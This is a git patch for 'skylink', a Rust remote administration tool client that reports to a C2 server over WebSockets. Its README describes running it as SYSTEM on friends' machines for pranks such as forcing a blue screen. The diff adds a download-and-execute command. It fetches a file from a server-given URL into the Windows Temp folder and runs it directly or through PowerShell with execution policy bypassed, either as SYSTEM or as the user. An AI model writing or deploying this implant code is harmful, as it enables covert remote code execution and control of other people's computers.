From a208b0d0ce286927edd79281c58d6882c665b0e4 Mon Sep 17 00:00:00 2001 From: Xory Date: Fri, 12 Dec 2025 22:36:34 +0200 Subject: [PATCH] feat: dnx core --- README.md | 13 +++++++++++++ src/lib.rs | 41 ++++++++++++++++++++++++++++++++++++++++- src/lib/websockets.rs | 2 +- src/main.rs | 2 +- 4 files changed, 55 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 969e63a..d62d8b8 100644 --- a/README.md +++ b/README.md @@ -1 +1,14 @@ # skylink + +A R.A.T. (Remote Administration Tool) made mostly as an in-joke between some friends of mine. Originally intended for learning purposes, they volunteered to install the initial prototype (A.K.A. Skylink 0.1) on their computers, which I used for some pranks, but it was unreliable and held together by hopes and prayers, so here I am making a rewrite! +This uses the same tech stack (Rust, Tokio, Tokio-tungstenite) however this is *only* the client, as the C2 server is being rewritten in Python. +Much like 0.1, this version of Skylink uses JSON over WebSockets to communicate with a C2 server, however this time the WebSocket implementation is far more reliable and the JSON protocol is different, being easier to understand. +It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, because more privileges means more potential for tomfoolery. For example, running as SYSTEM lets me enable test mode, install [BugCheck2Linux](https://github.com/NSG650/BugCheck2Linux) and cause a BSOD. + +## roadmap +- [X] reliable websockets +- [X] run\_as\_user +- [X] basic commands +- [ ] download and execute +- [ ] dnx python +- [ ] windows service diff --git a/src/lib.rs b/src/lib.rs index 3b1e55c..2ac9b25 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -30,7 +30,7 @@ pub enum PayloadType { pub struct DnxParams { pub url: String, pub name: String, - pub args: String, + pub args: Vec, pub run_as_system: bool, pub file_type: PayloadType, } @@ -78,6 +78,45 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result { let skylink_ver = "1.0.0"; if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) } } + Command::Dnx { params } => { + log(LogLevel::Debug, LOG_PATH, format!("s1")).await; + // 1. Toss the file into temp + let request = reqwest::get(params.url).await?.bytes().await?; + let file_name = params.name; + let file_path = format!("C:\\Windows\\Temp\\{file_name}"); + std::fs::write(&file_path, &request)?; + + // 2. Handle possible file types. + log(LogLevel::Debug, LOG_PATH, format!("s2")).await; + let mut _exec_command = String::new(); + let mut _exec_args: Vec = vec![]; + match params.file_type { + PayloadType::Executable => { + _exec_command = file_path.clone(); + _exec_args = params.args; + } + PayloadType::Powershell => { + _exec_command = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe".to_string(); + _exec_args = vec!["-ExecutionPolicy".to_string(), "Bypass".to_string(), "-File".to_string(), file_path.clone()]; + _exec_args.extend(params.args.iter().cloned()); + } + PayloadType::Python => todo!("py payload handling"), + } + + // 3. Handle user vs system execution. + log(LogLevel::Debug, LOG_PATH, format!("s3")).await; + if params.run_as_system == true { + std::process::Command::new(&_exec_command).args(&_exec_args).output()?; + } else { + let mut command_line_args = vec![format!("\"{}\"", _exec_command)]; + command_line_args.extend(_exec_args); + let command_line = command_line_args.join(" "); + + run_as_user(&_exec_command, &command_line)?; + } + // this was way easier than i expected... assuming it works :pilgrim2: + Ok(format!("")) + } _ => todo!(), } } diff --git a/src/lib/websockets.rs b/src/lib/websockets.rs index 1d3c805..4420597 100644 --- a/src/lib/websockets.rs +++ b/src/lib/websockets.rs @@ -34,7 +34,7 @@ pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> { // Some parts of this function were generated by an LLM. I'm taking note of this in case a // weird barely detectable bug pops up, as LLMs tend to generate. -async fn websocket_handler(ws_tx: WsTx) { +pub async fn websocket_handler(ws_tx: WsTx) { use std::time::Duration; use tokio_tungstenite::connect_async; diff --git a/src/main.rs b/src/main.rs index cff3dd4..37c947b 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,7 +1,7 @@ use futures_util::{SinkExt, stream::StreamExt}; use skylink::lib::logger::{LogLevel, log}; use skylink::{LOG_PATH, WS_URL}; -use skylink::{WsTx, eval_command, lib::websockets::websocket_handler, lib::websockets::reconnect_websocket}; +use skylink::{WsTx, eval_command, lib::websockets::reconnect_websocket, lib::websockets::websocket_handler}; use std::sync::Arc; use tokio::sync::Mutex; use tokio_tungstenite::tungstenite::protocol::Message;